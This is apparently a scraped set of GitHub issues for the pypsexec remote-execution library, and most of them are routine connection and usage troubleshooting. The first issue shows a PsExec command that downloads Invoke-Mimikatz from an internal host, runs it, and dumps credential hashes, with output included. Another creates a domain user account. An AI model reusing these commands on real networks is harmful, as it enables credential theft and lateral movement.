print("rc:", rc, "stdout:", stdout.decode("gbk"), "stderr:", stderr)
stdout2, stderr2, rc2 = c.run_executable("cmd.exe", arguments="/c echo hello world")
print("rc:", rc2, "stdout:", stdout2.decode("gbk"), "stderr:", stderr2)
# c.remove_service()
# c.disconnect()

`
output:
None

when i use PsExec.exe
`

psexec.exe \\WIN-2J6512D4S45.test.com cmd /c powershell.exe -Command "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

output
`

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com



  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-2J6512D4S45$
Domain            : TEST
Logon Server      : (null)
Logon Time        : 2020/12/11 9:42:29
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : WIN-2J6512D4S45$
         * Domain   : TEST
         * NTLM     : f403751ce24fc4910f834cd1cc891d3e
         * SHA1     : d00a98a149daafdcc34263c593d0d759ea965c16
        tspkg :
        wdigest :
         * Username : WIN-2J6512D4S45$

`

how can i cache output from pypsexec executable command?

Running a process locally inside another RDP session

Hi, just want to ask a simple use case question.

Does this support running a process in another interactive RDP session within the same machine?

Something along the lines of

PsExec.exe  -i $(SESSION_ID) -w $(pwd) <command> 

Thanks~

TimeoutError: [Errno 60] Operation timed out on macOS

When testing pypsexec on macOS 10.13.3 and 10.11, I got the following errors on python 3 and python2. I don't think I have a connection issue with the destination server over the port 445 because I can access it from a Windows computer, using psexec.

Error from python2 test

2018-03-02 14:33:36,196 - pypsexec.client - INFO - Creating PyPsexec Client with unique name: PAExec-82534-ComputerName
2018-03-02 14:33:36,196 - pypsexec.client - INFO - Generated unique ID for PyPsexec Client: 5587499
2018-03-02 14:33:36,196 - pypsexec.client - INFO - Setting up SMB Connection to 1.1.1.1:445
Traceback (most recent call last):
  File "/Users/username/Test-PyPsExec.py", line 24, in <module>
    c.connect()
  File "/usr/local/lib/python2.7/site-packages/pypsexec/client.py", line 59, in connect
    self.connection.connect(timeout=timeout)
  File "/usr/local/lib/python2.7/site-packages/smbprotocol/connection.py", line 835, in connect
    self.transport.connect()
  File "/usr/local/lib/python2.7/site-packages/smbprotocol/transport.py", line 60, in connect
    self._sock.connect((self.server, self.port))
  File "/usr/local/Cellar/python/2.7.14_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 60] Operation timed out

Error from python3 test

2018-03-02 14:28:52,060 - pypsexec.client - INFO - Creating PyPsexec Client with unique name: PAExec-82417-ComputerName
2018-03-02 14:28:52,067 - pypsexec.client - INFO - Generated unique ID for PyPsexec Client: 5587388
2018-03-02 14:28:52,067 - pypsexec.client - INFO - Setting up SMB Connection to 1.1.1.1:445
Traceback (most recent call last):
  File "/Users/username/Test-PyPsExec.py", line 24, in <module>
    c.connect()
  File "/usr/local/lib/python3.6/site-packages/pypsexec/client.py", line 59, in connect
    self.connection.connect(timeout=timeout)
  File "/usr/local/lib/python3.6/site-packages/smbprotocol/connection.py", line 835, in connect
    self.transport.connect()
  File "/usr/local/lib/python3.6/site-packages/smbprotocol/transport.py", line 60, in connect
    self._sock.connect((self.server, self.port))
TimeoutError: [Errno 60] Operation timed out

Pypsexec Windows authentication issue

Hello @jborean93

I am having an issue while connecting my windows host machine from the Linux guest (Installed in VMWARE Workstation) using the following piece of code.

`from pypsexec.client import Client
import os
import time
import sys
import paramiko

host = '192.168.0.32'
user = '.'
passd = ''

c = Client(host, username=user, password=passd, encrypt=False,port=445)
c.connect()

try:
c.create_service()
stdout = c.run_executable("cmd.exe", arguments="notepad",timeout_seconds=20)
finally:
c.cleanup()
c.remove_service()
c.disconnect()

output = []
output = stdout[0].decode("utf-8")
print(output.split("\r\n")[1:3])
`

The error is
pypsexec.exceptions.SCMRException: Exception calling ROpenSCManagerW. Code: 5, Msg: ERROR_ACCESS_DENIED

Could you let know what is wrong?

Kerberos support on Windows

Hi,

I'm implementing platform-independent code to manage Windows systems remotely (Active Directory). The sample code works just fine on Linux with KRB5 configured, but I'm getting following errors when executing on Windows box (same user account):

pypsexec.exceptions.SCMRException: Exception calling ROpenSCManagerW. Code: 5, Msg: ERROR_ACCESS_DENIED

I believe this is because "Windows implementation of the smbprotocol does not support Kerberos auth", as per readme.

Can you please clarify if there any plans to implement Kerberos support in smbprotocol for Windows?

Thank you!

Connection errors.

I'm running this to connect to a WS 2012 host:

from pypsexec.client import Client

c = Client("genericip", username="genericuser1", password="genericpassword", encrypt=True)
c.connect()
try:
    c.create_service()
    stdout, stderr, rc = c.run_executable("cmd.exe",
                                          arguments="/c echo Hello World")

    stdout, stderr, rc = c.run_executable("whoami.exe", use_system_account=True)

    stdout,stderr, rc = c.run_executable("whoami",
                                          arguments="/all",
                                          username="genericuser2",
                                          password="genericpassword",
                                          run_elevated=True)
finally:
    c.remove_service()
    c.disconnect()

When I try connecting using the public IP, I get this:

$ python basic.py
Traceback (most recent call last):
  File "basic.py", line 5, in <module>
    c.connect()
  File "/usr/lib/python2.7/site-packages/pypsexec/client.py", line 59, in connect
    self.connection.connect()
  File "/usr/lib/python2.7/site-packages/smbprotocol/connection.py", line 811, in connect
    self.transport.connect()
  File "/usr/lib/python2.7/site-packages/smbprotocol/transport.py", line 58, in connect
    self._sock.connect((self.server, self.port))
  File "/usr/lib64/python2.7/socket.py", line 224, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

and this when I connect through a private network; also the script doesn't finish execution:

$ python basic.py 
Traceback (most recent call last):
  File "basic.py", line 5, in <module>
    c.connect()
  File "/usr/local/lib/python2.7/dist-packages/pypsexec/client.py", line 63, in connect
    self._service.open()
  File "/usr/local/lib/python2.7/dist-packages/pypsexec/scmr.py", line 207, in open
    DesiredAccess.SC_MANAGER_ENUMERATE_SERVICE
  File "/usr/local/lib/python2.7/dist-packages/pypsexec/scmr.py", line 504, in open_sc_manager_w
    res = self._invoke("ROpenSCManagerW", opnum, data)
  File "/usr/local/lib/python2.7/dist-packages/pypsexec/scmr.py", line 659, in _invoke
    "but got: %s" % (opnum, str(pdu_resp)))
pypsexec.exceptions.PDUException: Expecting ResponsePDU for opnum 15 response but got: FaultPDU:
    rpc_vers = 5
    rpc_vers_minor = 0
    ptype = (3) FAULT
    pfx_flags = (3) PFC_FIRST_FRAG, PFC_LAST_FRAG
    packed_drep =
    DataRepresentationFormat:
        integer_character = (16) ASCII_LITTLE_ENDIAN
        floating_point = (0) IEEE
        reserved1 = 0
        reserved2 = 0

        Raw Hex:
            10 00 00 00
    frag_length = 32
    auth_length = 0
    call_id = 1
    alloc_hint = 32
    p_cont_id = 0
    cancel_count = 0
    reserved = 0
    status = (1783) NCA_S_FAULT_NDR

    Raw Hex:
        05 00 03 03 10 00 00 00
        20 00 00 00 01 00 00 00
        20 00 00 00 00 00 00 00
        F7 06 00 00

Firewall's disabled, and SMB's enabled.

PS C:\Windows\system32> Get-SmbServerConfiguration | Select EnableSMB2Protocol

EnableSMB2Protocol
------------------
              True

Unable to execute .msi file on remote machine

I am using below script to execute command, However it throwing an exception as "Unknown error value"

Below is exception trace:

File "C:\Program Files\Python35\lib\site-packages\pypsexec\client.py", line 412, in run_executable
exe_result.check_resp()
File "C:\Program Files\Python35\lib\site-packages\pypsexec\paexec.py", line 108, in check_resp
raise PAExecException(msg_id, self['buffer'].get_value())
pypsexec.exceptions.PAExecException: Received exception from remote PAExec service: Failed to start "myfile.msi". Unknown error value. [Err=0xC1, 193]

I am using below script:

from pypsexec.client import Client
c = Client("myhost", username="myuser", password="mypass", encrypt=False)

c.connect()
try:
c.create_service()
stdout, stderr, rc = c.run_executable("myfile.msi")

print("\n stdout : " + str(stdout))
print("\n stderr : " + str(stderr))
print("\n rc : " + str(rc))

finally:
c.remove_service()
c.disconnect()

Edit Registry values using either powershell or cmd

Hi Jordan,

In my use case i want to edit, add or delete registry values on a remote Windows 10 machine using your wonderful package. Here is my syntax but its not working.

stdout, stderr, rc = conn.run_executable("cmd.exe",arguments='/c reg add "HKLM:\SOFTWARE" /v hsg')

or

Something like this New-Item -Path "HKLM:\SOFTWARE" -Name "hsg" in Powershell.exe

or using a .reg file

stdout, stderr, rc = conn.run_executable("regedit.exe",arguments='/s "/localhost location/regFile.reg"')

Any help in this regard would be highly appreciated.

All instances of the designated named pipe are busy. - UNKNOWN_ENUM

Hi @jborean93

Opening another ticket to see if you could help. I am trying to spawn N Procceses per host and fire off to all run the same exe at the same time. It works majority of the time, but randomly I get this error. Just want to see if you have come across it or not.

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\multiprocessing\spawn.py", line 105, in spawn_main
    exitcode = _main(fd)
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\multiprocessing\spawn.py", line 114, in _main
    prepare(preparation_data)
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\multiprocessing\spawn.py", line 225, in prepare
    _fixup_main_from_path(data['init_main_from_path'])
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\multiprocessing\spawn.py", line 277, in _fixup_main_from_path
    run_name="__mp_main__")
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\runpy.py", line 263, in run_path
    pkg_name=pkg_name, script_name=fname)
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\runpy.py", line 96, in _run_module_code
    mod_name, mod_spec, pkg_name, script_name)
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.7_3.7.1776.0_x64__qbz5n2kfra8p0\lib\runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "C:\Users\jas.rowinski\Documents\cluster_display.py", line 125, in <module>
    exe = list_things(config)
  File "C:\Users\jas.rowinski\Documents\cluster_display.py", line 80, in list_things
    c.connect()
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\pypsexec\client.py", line 64, in connect
    self._service.open()
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\pypsexec\scmr.py", line 247, in open
    self._scmr.open()
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\pypsexec\scmr.py", line 373, in open
    CreateOptions.FILE_NON_DIRECTORY_FILE)
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\smbprotocol\open.py", line 1211, in create
    return self._create_response(request)
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\smbprotocol\open.py", line 1217, in _create_response
    response = self.connection.receive(request)
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\smbprotocol\connection.py", line 763, in wrapped
    return func(self, *args, **kwargs)
  File "C:\Users\jas.rowinski\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.7_qbz5n2kfra8p0\LocalCache\local-packages\Python37\site-packages\smbprotocol\connection.py", line 1075, in receive
    raise SMBResponseException(response, status)
smbprotocol.exceptions.SMBResponseException: Received unexpected status from the server: (3221225644) UNKNOWN_ENUM: 0xc00000ac

As per MS error codes: UNKNOWN_ENUM = All instances of the designated named pipe are busy

Kill process

Hello. I want to kill the process from another PC I'm trying do this
result = c.run_executable("cmd.exe", arguments="taskkill /F /PID 9104") but the process doesn't kill.
Please help.
Sorry for my bad English

PAExec transfer optimization

Hi Jordan,
I'm wondering if you have considered creating a batch file specific to the service instance that uses PAExec.exe internally? Services would then call their respective service batch file instead. This would require that an instance of PAExec.exe be already on the host; however, the initial connection could check for this and during the service creation, it could be delivered if required ( as is done currently). This reduces considerably the bandwidth and also the size of orphaned instances on the C:\Windows folder. Just a thought for improvement.

How to connect the SAS server using the command?

Hi, I am able to connect the remote server using this python package. when I was trying to execute the command (i.e /c echo hello - its works)
/c sas.exe path of the remote server + .sas script path
not able to connect the SAS server.

Note- when I was executing the same command as manually on a remote server where the SAS server is hosted on cmd.exe, it is working.

Any pointers really appreciate it.

smbprotocol.exceptions.SMBException: Connection timeout of 10 seconds exceeded while waiting for a message id 0 response from the server

When I use cmd to access windows share
`

C:\Users\win7user1>dir \\dtest.dc.test.com\c$
 驱动器 \\dtest.dc.test.com\c$ 中的卷没有标签。
 卷的序列号是 74B2-FB47

 \\dtest.dc.test.com\c$ 的目录

2020/11/18  14:50                 0 AUTOEXEC.BAT
2020/11/18  14:50                 0 CONFIG.SYS
2020/11/18  14:52    <DIR>          Documents and Settings
2020/11/18  14:54    <DIR>          Program Files
2020/11/25  18:04    <DIR>          WINDOWS
2020/11/18  14:50    <DIR>          wmpub
               2 个文件              0 字节
               4 个目录 38,371,938,304 可用字节

`

but i use pypsexec
`

from pypsexec.client import Client
server = "dtest.dc.test.com"
c = Client(server, port=445)
c.connect(timeout=10)

result

Traceback (most recent call last):
  File "C:/tools/intranet_hack_tools/test.py", line 35, in <module>
    c.connect(timeout=10)
  File "C:\Users\win7user1\AppData\Roaming\Python\Python37\site-packages\pypsexec\client.py", line 60, in connect
    self.connection.connect(timeout=timeout)
  File "C:\Users\win7user1\AppData\Roaming\Python\Python37\site-packages\smbprotocol\connection.py", line 735, in connect
    smb_response = self._send_smb2_negotiate(dialect, timeout)
  File "C:\Users\win7user1\AppData\Roaming\Python\Python37\site-packages\smbprotocol\connection.py", line 1336, in _send_smb2_negotiate
    response = self.receive(request, timeout=timeout)
  File "C:\Users\win7user1\AppData\Roaming\Python\Python37\site-packages\smbprotocol\connection.py", line 617, in wrapped
    return func(self, *args, **kwargs)
  File "C:\Users\win7user1\AppData\Roaming\Python\Python37\site-packages\smbprotocol\connection.py", line 855, in receive
    "response from the server" % (timeout, request.message['message_id'].get_value()))
smbprotocol.exceptions.SMBException: Connection timeout of 10 seconds exceeded while waiting for a message id 0 response from the server

`

why?

When connecting to Windows Server 2008 R2, connection never closed eventhough the job is done successfully

I tried to create simple psexec script :

from pypsexec.client import Client

server = "windows2008.intra.com"
username = "Administrator"
password = "generic-password"
executable = "powershell.exe"
arguments = 'ls > C:\windows\temp\dir.txt'

def raw_string(s):
    if isinstance(s, str):
        s = s.encode('string-escape')
    elif isinstance(s, unicode):
        s = s.encode('unicode-escape')
    return s

c = Client(server, username=username, password=password,
           encrypt=False)

c.connect()
try:
    c.create_service()
    result = c.run_executable(executable, arguments=raw_string(arguments))
finally:
    c.remove_service()
    c.disconnect()

print("STDOUT:\n%s" % result[0].decode('utf-8') if result[0] else "")
print("STDERR:\n%s" % result[1].decode('utf-8') if result[1] else "")
print("RC: %d" % result[2])`

The code is always working on windows 2012 or later but when connecting to Windows Server 2008 R2, connection never closed eventhough the job is done successfully ( file dir.txt created).

It will always stuck in this line if i run the program with verbose :

...
# /usr/lib/python2.7/site-packages/pypsexec/paexec.pyc matches /usr/lib/python2.7/site-packages/pypsexec/paexec.py
import pypsexec.paexec # precompiled from /usr/lib/python2.7/site-packages/pypsexec/paexec.pyc
# /usr/lib/python2.7/site-packages/pypsexec/pipe.pyc matches /usr/lib/python2.7/site-packages/pypsexec/pipe.py
import pypsexec.pipe # precompiled from /usr/lib/python2.7/site-packages/pypsexec/pipe.pyc
# /usr/lib/python2.7/site-packages/pypsexec/scmr.pyc matches /usr/lib/python2.7/site-packages/pypsexec/scmr.py
import pypsexec.scmr # precompiled from /usr/lib/python2.7/site-packages/pypsexec/scmr.pyc
# /usr/lib/python2.7/site-packages/pypsexec/rpc.pyc matches /usr/lib/python2.7/site-packages/pypsexec/rpc.py
import pypsexec.rpc # precompiled from /usr/lib/python2.7/site-packages/pypsexec/rpc.pyc
# /usr/lib64/python2.7/Queue.pyc matches /usr/lib64/python2.7/Queue.py
import Queue # precompiled from /usr/lib64/python2.7/Queue.pyc
# /usr/lib64/python2.7/encodings/utf_16_le.pyc matches /usr/lib64/python2.7/encodings/utf_16_le.py
import encodings.utf_16_le # precompiled from /usr/lib64/python2.7/encodings/utf_16_le.pyc
# /usr/lib64/python2.7/encodings/ascii.pyc matches /usr/lib64/python2.7/encodings/ascii.py
import encodings.ascii # precompiled from /usr/lib64/python2.7/encodings/ascii.pyc
# /usr/lib64/python2.7/encodings/latin_1.pyc matches /usr/lib64/python2.7/encodings/latin_1.py
import encodings.latin_1 # precompiled from /usr/lib64/python2.7/encodings/latin_1.pyc
# /usr/lib64/python2.7/encodings/string_escape.pyc matches /usr/lib64/python2.7/encodings/string_escape.py
import encodings.string_escape # precompiled from /usr/lib64/python2.7/encodings/string_escape.pyc 

So currently the only workaround that i can think of is putting "timeout_seconds" so the program will close when the task is done, but i need to guess how much time the program is need to complete the task specified in argument before force closing.

Did i do something wrong ?

Thank you in advance

The system cannot find the file specified

hi,

Im using python on linux and trying to execute an exe on a remote window 2008/2012/2016 server.
The windows domain account im using is part of an AD group that is a member of the server local Administrators group. Login on to the server with the account works and im able to do what i want.

But from my linux server via the python command, Im unable to use dfsutil.exe or dfscmd.exe to create DFS namespace links. I get error: Received exception from remote PAExec service: Failed to start "dfsutil.exe". The system cannot find the file specified. [Err=0x2, 2]

Those files are in C:\windows\system32, just like cmd.exe and cmd.exe works. Evironment variables are proper, I tried copying dfsutil.exe and dfscmd.exe to another directory and set the "working_dir" accordingly but it still does not work.

Permission on those two files are the same as cmd.exe. When I try "cmd.exe /c dir ., that returns file list excluding dfsutil.exe or dfscmd.exe, which is very strange? I also tried with full path to those exe, tried puttting command in a batch file and get the same result, Please advise?

ERROR_ACCESS_DENIED when connect windows 7

problem

i want to execute remote command from ubuntu to windows 7, but i get the follow execption.

 SCMRException: Exception calling ROpenSCManagerW. Code: 5, Msg: ERROR_ACCESS_DENIED

i read the docs, but don't get some helpful info, can you give me some tips to solve it.

env

  • Ubuntu 14.04LTS
  • Python3.6.5

code

from pypsexec.client import Client

client = Client("192.168.72.1", username="xxx", password="xxx", encrypt=False)
client.connect()
try:
    client.create_service()
    stdout, stderr, rc = client.run_executable("cmd.exe", arguments="/c echo Hello World")
    print(str(stdout))
except Exception as e:
    print("exception", e)
finally:
    client.remove_service()
    client.disconnect()

Is there no Display or minimum when you run executable using pypsexec

Whenever I use pypsexec to run selenium scripts on remote windows machine the small display size causes the scripts to fail as elements are not in view(verified by captured screenshot),
Also when I try to capture screen recording using ffmpeg an opensource tool it gives error
[gdigrab @ 00741500] Failed to capture image (error 5)
[gdigrab @ 00741500] Could not find codec parameters for stream 0 (Video: bmp, none, 377493 kb/s): unspecified size
The above both issues are solved when I run the script directly on the windows machine without pypsexec.
Please provide a soloution to this issue

Help with Replicating PsExec Interactive arguments

I'm trying to find the right syntax to achieve with pypsexec the same result as this psexec command
psexec -s -h -i \192.168.92.135 -u domain\user -p password cmd

When I use the psexec command it opens a cmd window in the remote computer which can be seen by the user and interact with it

I have tried several options and combinations, switching true and false values with no success:

This is my code:

c= Client(equipo_Remoto, username=user, password=passwd)
c.connect()

try:
	c.create_service()

	c.run_executable(r'cmd.exe', interactive= True, run_elevated= True, use_system_account= True, show_ui_on_win_logon= True, asynchronous= False, load_profile= True)
finally:
	c.remove_service()
	c.disconnect()

Thanks

Originally posted by @kr1shn4murt1 in #6 (comment)

client.cleanup()

Hello Jordan! Thanks for pypsexec! When using the cleanup() method, it will report the following error.

Traceback (most recent call last):
File "", line 1, in
File "D:\Sodtware\Python27\Program\lib\site-packages\pypsexec\client.py", line 138, in cleanup
EnumServiceState.SERVICE_STATE_ALL)
File "D:\Sodtware\Python27\Program\lib\site-packages\pypsexec\scmr.py", line 559, in enum_services_status_w
"display_name": (display_name + b"\x00").decode('utf-16-le'),
File "D:\Sodtware\Python27\Program\lib\encodings\utf_16_le.py", line 16, in decode
return codecs.utf_16_le_decode(input, errors, True)
UnicodeDecodeError: 'utf16' codec can't decode byte 0x00 in position 50: truncated data

About source code of _openssl.so in pypsexec v0.2.0

Hi Jordan,
I'm working on one project in which the version of Python is v2.7. So Pypsexec v0.2.0 works for me. Thanks you so much. Furthermore, is it possible to get the source code of _openssl.so? I would like to complement some functionalities into the library and rebuild it.

Running commands over domain users

Hi dude,

I am having problems when I try to execute commands as a domain user (example: net user sqlservice Sql12345 / domain / add).
I have created a laboratory with a DC (windows server 2016) and three computers (w7, w8.1 and w10).
The connection was created in the following way: "smb = Client (ip=ip, username ="IBERICA\juan1", password="Banana123"), but can not authenticate against the domain.
I've also tried putting the following values ​​in the "username" field:
username = "juan1" (assuming the domain takes it by default)
username = "[email protected]"
But none is successful.

Is it a problem of how I am creating the connection or is there something else I do not know?
Could you give me advice on how to create connections against domain?

I hope you see it on time, since I am using this library for my final year project.
Thank you

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.